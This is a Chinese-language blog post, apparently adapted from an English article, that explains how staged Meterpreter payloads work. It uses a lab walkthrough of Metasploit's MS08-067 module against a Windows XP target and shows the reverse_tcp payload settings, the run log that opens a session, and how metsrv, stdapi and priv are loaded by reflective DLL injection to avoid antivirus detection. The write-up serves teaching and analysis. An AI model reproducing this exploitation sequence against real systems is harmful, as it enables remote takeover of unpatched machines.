meterpreter載荷執行過程及原理

原文地址《Deep Dive Into Stageless Meterpreter Payloads

一、什麼是stage payload

stage payload是一種分段式的載荷運行方式,它的設計理念是爲了滿足二進制溢出漏洞利用過程中,由於內存地址中留給攻擊者的佈局shellcode空間很小的情景。這種情況下,攻擊者可以先利用漏洞向靶機發送一個很小的payload,這裏命名爲stage0,達到建立目標機器與攻擊機器建立一個shell通信的目的,然後再通過stage0上傳stage1,stage2……等方式將,逐步將shell的控制權進行移交,最終得到一個功能強大的shell,這個過程其實和web滲透中的小馬拉大馬的原理很相似。

二、meterpreter的分段載荷運行過程(ms08-067爲例)

實驗環境:
攻擊機:kali 2020 192.168.253.168
靶機:winxp sp3 192.168.253.141
在這裏插入圖片描述
我們在攻擊機啓動msf,選中windows/smb/ms08_067_netapi攻擊模塊,並設置相應的選項如下。

msf5 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.253.141  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.253.168  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   34  Windows XP SP3 Chinese - Simplified (NX)

當我們運行run命令,發送payload時,攻擊機器首先會啓動一個反彈shell的監聽,如下圖,默認啓動端口爲4444端口。
在這裏插入圖片描述
隨後,攻擊機將一段精心設計好的shellcode發送給靶機,這段shellcode一般爲兩部分組成:一部分是由一段指令組成,當EIP指向它時,它能夠反彈給攻擊機一個shell即stage0,這個stage0使攻擊機和靶機建立第一個通信,類似於web滲透的小馬。另一部分是觸發漏洞的特定exploit,它一般是超過正常程序運行通信字節,進而達到覆蓋緩衝區EIP指針的目的,使EIP指針指向之前佈局好的stage0的起始地址,過程如下圖。
在這裏插入圖片描述
當漏洞觸發,靶機執行了stage0,攻擊機和靶機建立了一個通信shell,但這個shell並不能完全控制靶機,於是meterpreter會將stage1上傳到靶機,這是一個編譯好的動態鏈接庫dll文件文件一般以metsrv命名,本例中我們可以在kali2020的中找到該文件,其絕對路徑爲

/usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/metasploit-payloads-1.4.1/data/meterpreter/metsrv.x86.dll

靶機發送stage1(即metsrv)的過程如下圖
在這裏插入圖片描述
我們在msf中的執行過程也可以證實上述情況,在第三個[*]中可以看到提示Sending stage (176195 bytes) to 192.168.253.141,這正是stage1。

msf5 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 192.168.253.168:4444 
[*] 192.168.253.141:445 - Attempting to trigger the vulnerability...
[*] Sending stage (176195 bytes) to 192.168.253.141
[*] Meterpreter session 2 opened (192.168.253.168:4444 -> 192.168.253.141:1047) at 2020-05-28 04:12:14 -0400

meterpreter > 

我們可以查看metsrv.x86.dll文件大小,發現msf發送字節與該文件字節大小極其相近,由於筆者對此研究沒有達到代碼級別,因此多出那一段字節是什麼在此不做討論,此處我們只需清楚這個過程meterpreter發送了stage1是metsrv.x86.dll即可。

root@kali2020Local:~# ls -l /usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/metasploit-payloads-1.4.1/data/meterpreter/metsrv.x86.dll
-rw-r--r-- 1 root root 175104 May 15 03:16 /usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/metasploit-payloads-1.4.1/data/meterpreter/metsrv.x86.dll

一旦stage1(即metsrv.x86.dll)被加載進入內存,stage0通過簡單的EIP指針跳轉,將指令控制權轉交給stage1,stage1即metsrv的前60個字節是一段shellcode,其一旦執行,將利用反射式DLL注入技術重新映射metsrv並將其加載到內存中,使其達到無需將寫入磁盤或向主機進程註冊而能夠正常工作的目的,這也是meterpreter達到一定免殺效果的原理。然後,它調用DllMain()函數在這個已經加載的ddl文件上,接下來我們熟悉的Meterpreter便接管了控制權。
從這開始,MSF會向靶機推送兩個Meterpreter擴展DLL:stdapi和priv。這兩個DLL文件也都以與metsrv DLL相同的方式反射加載。此時,Meterpreter已經準備完成,並等待接收攻擊者的控制指令。

三、總結

綜上過程,我們在獲得一個meterpreter會話過程中,實際上有四個stage上傳,它們分別是

  • stage0:smb漏洞利用載荷和體積小功能簡單的反彈shell小馬
  • stage1:metsrv.x86.dll
  • stage2:stdapi.dll
  • stage3:priv.dll

我們可以用以下一張圖來描繪其大致流程
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章